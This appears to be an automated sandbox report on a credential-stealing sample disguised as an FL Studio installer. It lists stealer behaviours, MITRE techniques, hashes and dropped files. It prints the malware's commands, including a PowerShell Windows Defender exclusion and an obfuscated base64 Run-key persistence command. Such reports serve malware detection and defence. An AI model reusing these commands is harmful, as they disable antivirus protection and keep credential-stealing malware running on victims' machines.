9ed95464e794e9fe8b2baa4621507c8322b7eb2a3fa182f18f66a457a75a633f

Analysis

max time kernel
299s
max time network
294s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260513-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
20/08/2026, 18:06

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
FLStudio2025_v269_Win.exe
Size 1.4MB
Sample260820-wpxvsasgnb
SHA256 9ed95464e794e9fe8b2baa4621507c8322b7eb2a3fa182f18f66a457a75a633f
MD5 9aca66cadcb6db557d33a8e734072911
SHA1 2701e8242be32ee014a262d882b973b975cfdb34
SHA512 150785198de1914a88a832d965e0d3dbcbfdc3eed8d693b8545dc6cbb2cede6014a315c074aab17fe3bf2fde0867eeaea1d5fcffe29db23fe5eff980157e1560
SSDEEP 24576:wQR+ioMHmOVqE2PH/YCMBFxfeksl4iZZQpsgthTsIl8kEQkBE3q4K1R6z:wQRaQmi2PH/YCMj1uNVgoIl8kEQQf4A8
TLSH
T15C65124833A9DC06D4556FF40971E7B94BA96EDAA450C303DEEABEEF7875B052C04382
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution persistence spyware stealer

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
548	powershell.exe
4244	powershell.exe
4840	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3054922120-1500138384-519748408-1000\Control Panel\International\Geo\Nation	FLStudio2025_v269_Win.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3054922120-1500138384-519748408-1000\Control Panel\International\Geo\Nation	IXL.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3054922120-1500138384-519748408-1000\Control Panel\International\Geo\Nation	FLStudio2025_v269_Win.exe

Deletes itself 1 IoCs

pid	Process
4052	FLStudio2025_v269_Win.exe

Executes dropped EXE 2 IoCs

pid	Process
4112	IXL.exe
3356	IXL.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3054922120-1500138384-519748408-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\IXL = "\"C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command \"$54qhj3=8719;$01f5tv=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$b5fqx4=[System.Environment]::TickCount;$mn5trs=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXElYTC5leGU=')));$xr4jqn=$env:COMPUTERNAME;& $01f5tv -FilePath $mn5trs\""	FLStudio2025_v269_Win.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4824 set thread context of 4052	4824	FLStudio2025_v269_Win.exe	86
PID 4112 set thread context of 3356	4112	IXL.exe	95

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IXL.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IXL.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FLStudio2025_v269_Win.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FLStudio2025_v269_Win.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	FLStudio2025_v269_Win.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	FLStudio2025_v269_Win.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
4824	FLStudio2025_v269_Win.exe
4824	FLStudio2025_v269_Win.exe
548	powershell.exe
548	powershell.exe
4840	powershell.exe
4840	powershell.exe
4112	IXL.exe
4112	IXL.exe
4244	powershell.exe
4244	powershell.exe
4052	FLStudio2025_v269_Win.exe
4052	FLStudio2025_v269_Win.exe

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
4052	FLStudio2025_v269_Win.exe

Suspicious use of AdjustPrivilegeToken 47 IoCs

description	pid	Process
Token: SeDebugPrivilege	4824	FLStudio2025_v269_Win.exe
Token: SeDebugPrivilege	548	powershell.exe
Token: SeDebugPrivilege	4840	powershell.exe
Token: SeIncreaseQuotaPrivilege	548	powershell.exe
Token: SeSecurityPrivilege	548	powershell.exe
Token: SeTakeOwnershipPrivilege	548	powershell.exe
Token: SeLoadDriverPrivilege	548	powershell.exe
Token: SeSystemProfilePrivilege	548	powershell.exe
Token: SeSystemtimePrivilege	548	powershell.exe
Token: SeProfSingleProcessPrivilege	548	powershell.exe
Token: SeIncBasePriorityPrivilege	548	powershell.exe
Token: SeCreatePagefilePrivilege	548	powershell.exe
Token: SeBackupPrivilege	548	powershell.exe
Token: SeRestorePrivilege	548	powershell.exe
Token: SeShutdownPrivilege	548	powershell.exe
Token: SeDebugPrivilege	548	powershell.exe
Token: SeSystemEnvironmentPrivilege	548	powershell.exe
Token: SeRemoteShutdownPrivilege	548	powershell.exe
Token: SeUndockPrivilege	548	powershell.exe
Token: SeManageVolumePrivilege	548	powershell.exe
Token: 33	548	powershell.exe
Token: 34	548	powershell.exe
Token: 35	548	powershell.exe
Token: 36	548	powershell.exe
Token: SeDebugPrivilege	4112	IXL.exe
Token: SeDebugPrivilege	4244	powershell.exe
Token: SeIncreaseQuotaPrivilege	4244	powershell.exe
Token: SeSecurityPrivilege	4244	powershell.exe
Token: SeTakeOwnershipPrivilege	4244	powershell.exe
Token: SeLoadDriverPrivilege	4244	powershell.exe
Token: SeSystemProfilePrivilege	4244	powershell.exe
Token: SeSystemtimePrivilege	4244	powershell.exe
Token: SeProfSingleProcessPrivilege	4244	powershell.exe
Token: SeIncBasePriorityPrivilege	4244	powershell.exe
Token: SeCreatePagefilePrivilege	4244	powershell.exe
Token: SeBackupPrivilege	4244	powershell.exe
Token: SeRestorePrivilege	4244	powershell.exe
Token: SeShutdownPrivilege	4244	powershell.exe
Token: SeDebugPrivilege	4244	powershell.exe
Token: SeSystemEnvironmentPrivilege	4244	powershell.exe
Token: SeRemoteShutdownPrivilege	4244	powershell.exe
Token: SeUndockPrivilege	4244	powershell.exe
Token: SeManageVolumePrivilege	4244	powershell.exe
Token: 33	4244	powershell.exe
Token: 34	4244	powershell.exe
Token: 35	4244	powershell.exe
Token: 36	4244	powershell.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 4824 wrote to memory of 548	4824	FLStudio2025_v269_Win.exe	84
PID 4824 wrote to memory of 4052	4824	FLStudio2025_v269_Win.exe	86
PID 4824 wrote to memory of 4052	4824	FLStudio2025_v269_Win.exe	86
PID 4824 wrote to memory of 4052	4824	FLStudio2025_v269_Win.exe	86
PID 4824 wrote to memory of 4052	4824	FLStudio2025_v269_Win.exe	86
PID 4824 wrote to memory of 4052	4824	FLStudio2025_v269_Win.exe	86
PID 4824 wrote to memory of 4052	4824	FLStudio2025_v269_Win.exe	86
PID 4824 wrote to memory of 4052	4824	FLStudio2025_v269_Win.exe	86
PID 4840 wrote to memory of 4112	4840	powershell.exe	89
PID 4112 wrote to memory of 4244	4112	IXL.exe	93
PID 4112 wrote to memory of 3356	4112	IXL.exe	95
PID 4112 wrote to memory of 3356	4112	IXL.exe	95
PID 4112 wrote to memory of 3356	4112	IXL.exe	95
PID 4112 wrote to memory of 3356	4112	IXL.exe	95
PID 4112 wrote to memory of 3356	4112	IXL.exe	95
PID 4112 wrote to memory of 3356	4112	IXL.exe	95
PID 4112 wrote to memory of 3356	4112	IXL.exe	95
PID 4052 wrote to memory of 2024	4052	FLStudio2025_v269_Win.exe	101
PID 4052 wrote to memory of 2024	4052	FLStudio2025_v269_Win.exe	101
PID 4052 wrote to memory of 2236	4052	FLStudio2025_v269_Win.exe	105
PID 4052 wrote to memory of 2236	4052	FLStudio2025_v269_Win.exe	105
PID 4052 wrote to memory of 1304	4052	FLStudio2025_v269_Win.exe	108
PID 4052 wrote to memory of 1304	4052	FLStudio2025_v269_Win.exe	108
PID 4052 wrote to memory of 4044	4052	FLStudio2025_v269_Win.exe	111
PID 4052 wrote to memory of 4044	4052	FLStudio2025_v269_Win.exe	111

C:\Users\Admin\AppData\Local\Temp\FLStudio2025_v269_Win.exe
"C:\Users\Admin\AppData\Local\Temp\FLStudio2025_v269_Win.exe"
1⤵
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4824
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\FLStudio2025_v269_Win.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:548
- C:\Users\Admin\AppData\Local\Temp\FLStudio2025_v269_Win.exe
  "C:\Users\Admin\AppData\Local\Temp\FLStudio2025_v269_Win.exe"
  2⤵
  - Checks computer location settings
  - Deletes itself
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: RenamesItself
  - Suspicious use of WriteProcessMemory
  PID:4052
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe"
    3⤵
    PID:2024
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
    3⤵
    PID:2236
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
    3⤵
    PID:1304
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
    3⤵
    PID:4044

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$54qhj3=8719;$01f5tv=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$b5fqx4=[System.Environment]::TickCount;$mn5trs=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXElYTC5leGU=')));$xr4jqn=$env:COMPUTERNAME;& $01f5tv -FilePath $mn5trs"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4840
- C:\Users\Admin\AppData\Roaming\IXL.exe
  "C:\Users\Admin\AppData\Roaming\IXL.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4112
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\IXL.exe"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4244
- - C:\Users\Admin\AppData\Roaming\IXL.exe
    "C:\Users\Admin\AppData\Roaming\IXL.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3356

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3556

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4028

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3348

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4368

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4680

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3048

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4768

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4528

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

4A9DF712-9E75-D8B6-813A-2D9E79E26506.txt

Path C:\ProgramData\4A9DF712-9E75-D8B6-813A-2D9E79E26506.txt
Size 64B
SHA256 48bbd13c0de43bd7da67646026bb77cc8e23e91412be642be535266f3e35e0c2
MD5 f6756a13fa7db7bbba113062c2bd11bf
SHA1 54520a4af2a8a0330826f9a5f71421d16f7b0344
SHA512 665145efb6e877577382fe20134b1ffa1091444ae01e1e19d7e24dc518a748d26574e11539edc747358640ef58323f6d6eb40b655f6f9a700cfee0ec8a3707da
TLSH
T16EA002B3A3495C554A322225901A9B548662B7733196B7CA23CBAE8215356303DBCD54
MD5 SHA1 SHA512 TLSH

Submit Download

103621DE9CD5414CC2538780B4B75751

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751
Size 808B
SHA256 3dd5ea8a14eb665ba6057d424f94e5e83757ffaab456578dbf038af04053b19e
MD5 878e958d6bff424e59d1feb51584a01f
SHA1 b11261559bbea40f1874448196e2934277a537e9
SHA512 6481a56d17126cf94901bed6f418af28f63089da57af4258fb13e468063c4d7849f78ca00a0e4a72c249a639afc8304669f99e48a360008f8e64172ab3133213
TLSH
T18D0152CD6E2925408AB18A334AB9C4970DB9724A3AD5910C4453A4A024D07588F0F54E
MD5 SHA1 SHA512 TLSH

Submit Download

1B1495DD322A24490E2BF2FAABAE1C61

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1B1495DD322A24490E2BF2FAABAE1C61
Size 355B
SHA256 12fd0590708bb38d8039bc994178acee8a3d220f0cd194b0f1c2fc9ba622f927
MD5 53ae64e9ee4ba962ee4b516077735710
SHA1 dae8a6fd15a9c447cdb2778f63880db25b0dd198
SHA512 ec31df0d1fbf225bc5a884ee8324aab6e2aa43031bede210b04677ed825966c8ebc0693b06d8f0e55de2cd5919b95a7b25691b6ae1fab893f58756e08836a168
TLSH
T1BFE0C08867AC24200AB19E539550C4936FBE31892970B05C8251CBED30C1A58C28B30F
MD5 SHA1 SHA512 TLSH

Submit Download

22D536C4B4AD2CEF7AC6B7789FD235E3

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\22D536C4B4AD2CEF7AC6B7789FD235E3
Size 283B
SHA256 251ed08cc8f5873098ea5ee083034e7cd99ece955920e12a42e50306a94cb6eb
MD5 7f9d3dc54f928bf6c38576705ad18203
SHA1 2b5e33e5301753684973bfddbc6cfb11d297cf90
SHA512 ef5b01e74a5e49cd0fe887b9d92d830e1052bd93cda7d11ee68829705432a21a9943535de8dff9d77eb3402253adf9d5760eda03ca80a0c3495f83396d648967
TLSH
T102D0C29CA9273E660FE69B454A50C087AEE610CA9C15B648008EC45B0887B02EA962AE
MD5 SHA1 SHA512 TLSH

Submit Download

DACA07F528AEA217E7DD3FC8F1C70CEE

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\DACA07F528AEA217E7DD3FC8F1C70CEE
Size 49KB
SHA256 aaa74e39c2a8d08dfb00323a8c19a0f7f277ecc687bfab6f0b293afff761e57d
MD5 e61d85a08d8ad29cca9be7044b61bc40
SHA1 f2901baa3ce5acd14699a3c7ae51223853994002
SHA512 c2ebba1ad99581c029d9bb047524983fdb6db30eb9f1af6e40c6d882810dfc54de6bd87ebe321d9a02f579ce7b221dbe8b1e6bafde190906a2f19f497eaa6aa0
SSDEEP 768:NTrrwnbIIajzVEzfemW7pWLopo1WncwFhRL4BvXYXMPC7rMeQ3UuHkYWvclF/X5h:NbwnbWzmemW7U8zLkTnEY4clRJ39
TLSH
T16A334EA89C3BFAA15D07CF618D9E8A9357F592D52A52832F0E307E505C13A9FDF63080
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

103621DE9CD5414CC2538780B4B75751

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
Size 192B
SHA256 d2910db716e5df26291b14301e41c660af4ad7d9c801edf9819e5bb002e85efc
MD5 30ef8f7e65e98ce54efdc5cf1f653caa
SHA1 17ff3e8d9b3762d90878ff87894fd3aaf8fdd753
SHA512 db10e524aced8405ffef92c1b82da5c1d3e9b890394bf0e2fb405fcbfa4059da77f7620094bfbdcda5f04d28739e42689bd369b70c36805c99cc053728d07c6a
TLSH
T1F7C0801C5E511555F194437C13C139035B204101E2458F0516F56604D956B156834C29
MD5 SHA1 SHA512 TLSH

Submit Download

1B1495DD322A24490E2BF2FAABAE1C61

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1B1495DD322A24490E2BF2FAABAE1C61
Size 192B
SHA256 9031464c2a7357da39106a1259e1ecb905882acf63af435cf7b8806fbf6dbbed
MD5 76acb06c33010abe01502a697d117cc1
SHA1 35510aee8d52e316c62739c510bf164c7f64097e
SHA512 57cde7f2acf5f9ce7a055cec3a091a876b767bf872ddad7961bb3043f068f7c3308837d3aa22e7ad83473ce9ee16d81b41d52e4b8ac207982f62a6d8e855e101
TLSH
T160C08C1C4A664616F3E483FE02C12D439F208421F3C58F0116B16A08CC11F502C34C2D
MD5 SHA1 SHA512 TLSH

Submit Download

22D536C4B4AD2CEF7AC6B7789FD235E3

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\22D536C4B4AD2CEF7AC6B7789FD235E3
Size 192B
SHA256 1f00eac56e26340192cdf8864c8f1eb14267df09c987d1d02530d06a760f5e74
MD5 e84b31754b360432a55b3349a6ce7689
SHA1 a5af2dcb792f635d004d51519f45cd535c694a42
SHA512 4e54e46df58ccd9a8bb4fee921368085c38ea54ce3cff274142b13fa828b7acadbe8dedb60660941a813eed9650c5884df8c6218a2e1e2b87713f9f7f870a4c9
TLSH
T180C08C581BA20606E2E80BBE22D02A839A14E011F2818F0A163A2A888C10B155C30C1C
MD5 SHA1 SHA512 TLSH

Submit Download

DACA07F528AEA217E7DD3FC8F1C70CEE

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\DACA07F528AEA217E7DD3FC8F1C70CEE
Size 244B
SHA256 cae3eb8171c51dbe9a89920ce32f3feab654a89eaa8d70788b9fe54e3811c66b
MD5 879c7025e7ad38f7ef233d6b640dcfb7
SHA1 188a4b689286c3124c58c858415329176bf1b777
SHA512 0a7cad3a1215147079a2571b598a05fea25afad75f2a20268878ca4615ffa0acfd242cff2b8d7ff42df33f3323341c57b46f181bbfe0f570044d75a9a379912c
TLSH
T193D0220032A00232F059033AAC7107C21E287010FAD253CE0F76030C8C2FF030D22D1C
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 883481fe331cb89fb6061e76b43acd4dd638c16f499b10088b261036c6d0547b
MD5 f9349064c7c8f8467cc12d78a462e5f9
SHA1 5e1d27fc64751cd8c0e9448ee47741da588b3484
SHA512 3229668491b5e4068e743b31f2896b30b1842faf96aff09fad01b08771c2f11eb8d8f02a3b76e31f0d6ad650c2894c5ac1822204e132c03d9c2b8df6ca4cd7cf
TLSH
T1B2417B303131B4D84D826F0215286EC5A3EF878AAFAC5F5CB569231DCE2A44BD7221F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 21KB
SHA256 e2a98d9b1c3b48de3ffe19fd2cdbb1a16263dc866ec0dfd13d6914a10e3931a6
MD5 7659b98b6396342a7e23ccb66f50c9fa
SHA1 f61dd1b3125edf0fb60b8c63919730122b2a8a63
SHA512 6c5aa72332754623eec0c9f53d3aafcfa25626c5edadbce23fc7d1df6e0e80de51e97588d96fa1a2d645134963d0bab7380d1ffc8fa00a07309e29231ce8fc02
SSDEEP 384:2tfQD3MOaAdVKl/09cs2d+4vcXRXcONiRZSvC1J8CQt7522LSVHIM5:GfgMlAfKq2MKcXyr3cCQPJK
TLSH
T144A2D83521B78DE9DAC115B0569D0AEEFFE0D8419BB872CCEB1DFA1D4CE2D3A4620064
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_14ygz4cw.hfp.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_14ygz4cw.hfp.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

sp6qw1Owka42.exe

Path C:\Users\Admin\AppData\Local\sp6qw1Owka42.exe
Size 4KB
SHA256 08ec019a3dffdcb33449f83fa700a470736a26bca5afad751a744716f69698d4
MD5 afb640d01aac50d03d053e88a469da63
SHA1 c3545290e894b32f85c5dfebdc8b79e30b7e79ef
SHA512 35f977a32905567fd648bce3ffc5af8a8f382b7941d2257f139205c8f025a9330d6680c73c05c48beb7b4f8b1740a673069f320963963bd3141793a65622e617
SSDEEP 96:fjFj7jOjEDDK/D5DMFLzLexFQeZNeBuC7RLlvaQxvbzM:fjFj7jOjEHK/VoPy8eZyuC7xlCejzM
TLSH
T185A19432F9BA117F1093927271BDA70A7AA1C143DB9A08903AFCC2755F8EF55AD072C1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

IXL.exe

Path C:\Users\Admin\AppData\Roaming\IXL.exe
Size 1.4MB
SHA256 9ed95464e794e9fe8b2baa4621507c8322b7eb2a3fa182f18f66a457a75a633f
MD5 9aca66cadcb6db557d33a8e734072911
SHA1 2701e8242be32ee014a262d882b973b975cfdb34
SHA512 150785198de1914a88a832d965e0d3dbcbfdc3eed8d693b8545dc6cbb2cede6014a315c074aab17fe3bf2fde0867eeaea1d5fcffe29db23fe5eff980157e1560
SSDEEP 24576:wQR+ioMHmOVqE2PH/YCMBFxfeksl4iZZQpsgthTsIl8kEQkBE3q4K1R6z:wQRaQmi2PH/YCMj1uNVgoIl8kEQQf4A8
TLSH
T15C65124833A9DC06D4556FF40971E7B94BA96EDAA450C303DEEABEEF7875B052C04382
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/548-43-0x0000000005CD0000-0x0000000005D1C000-memory.dmp

Download

memory/548-42-0x0000000005CA0000-0x0000000005CBE000-memory.dmp

Download

memory/548-66-0x00000000075D0000-0x0000000007C4A000-memory.dmp

Download

memory/548-65-0x0000000006E50000-0x0000000006EF3000-memory.dmp

Download

memory/548-64-0x0000000006250000-0x000000000626E000-memory.dmp

Download

memory/548-56-0x00000000704B0000-0x00000000704FC000-memory.dmp

Download

memory/548-67-0x0000000006F90000-0x0000000006FAA000-memory.dmp

Download

memory/548-55-0x0000000006210000-0x0000000006242000-memory.dmp

Download

memory/548-68-0x0000000006FF0000-0x0000000006FFA000-memory.dmp

Download

memory/548-31-0x0000000004DE0000-0x00000000054AA000-memory.dmp

Download

memory/548-41-0x0000000005700000-0x0000000005A57000-memory.dmp

Download

memory/548-69-0x0000000007290000-0x0000000007326000-memory.dmp

Download

memory/548-33-0x0000000005690000-0x00000000056F6000-memory.dmp

Download

memory/548-32-0x0000000005620000-0x0000000005686000-memory.dmp

Download

memory/548-30-0x0000000000CB0000-0x0000000000CC0000-memory.dmp

Download

memory/548-29-0x0000000000D00000-0x0000000000D36000-memory.dmp

Download

memory/3356-78-0x0000000000400000-0x00000000004B3000-memory.dmp

Download

memory/3356-76-0x0000000000400000-0x00000000004B3000-memory.dmp

Download

memory/3356-77-0x0000000000400000-0x00000000004B3000-memory.dmp

Download

memory/3356-87-0x0000000000400000-0x00000000004B3000-memory.dmp

Download

memory/3356-79-0x0000000000400000-0x00000000004B3000-memory.dmp

Download

memory/3356-80-0x0000000000400000-0x00000000004B3000-memory.dmp

Download

memory/3356-81-0x0000000000400000-0x00000000004B3000-memory.dmp

Download

memory/3356-82-0x0000000000400000-0x00000000004B3000-memory.dmp

Download

memory/3356-83-0x0000000000400000-0x00000000004B3000-memory.dmp

Download

memory/3356-84-0x0000000000400000-0x00000000004B3000-memory.dmp

Download

memory/3356-85-0x0000000000400000-0x00000000004B3000-memory.dmp

Download

memory/3356-86-0x0000000000400000-0x00000000004B3000-memory.dmp

Download

memory/3356-88-0x0000000000400000-0x00000000004B3000-memory.dmp

Download

memory/3356-89-0x0000000000400000-0x00000000004B3000-memory.dmp

Download

memory/4052-23-0x0000000000400000-0x00000000004B3000-memory.dmp

Download

memory/4052-125-0x0000000004450000-0x0000000004746000-memory.dmp

Download

memory/4052-24-0x0000000000400000-0x00000000004B3000-memory.dmp

Download

memory/4052-25-0x0000000000400000-0x00000000004B3000-memory.dmp

Download

memory/4052-73-0x0000000000400000-0x00000000004B3000-memory.dmp

Download

memory/4052-22-0x0000000000400000-0x00000000004B3000-memory.dmp

Download

memory/4052-20-0x0000000000400000-0x00000000004B3000-memory.dmp

Download

memory/4052-19-0x0000000000400000-0x00000000004B3000-memory.dmp

Download

memory/4052-18-0x0000000000400000-0x00000000004B3000-memory.dmp

Download

memory/4052-11-0x0000000000400000-0x00000000004B3000-memory.dmp

Download

memory/4052-17-0x0000000000400000-0x00000000004B3000-memory.dmp

Download

memory/4052-362-0x0000000000400000-0x00000000004B3000-memory.dmp

Download

memory/4052-355-0x0000000000400000-0x00000000004B3000-memory.dmp

Download

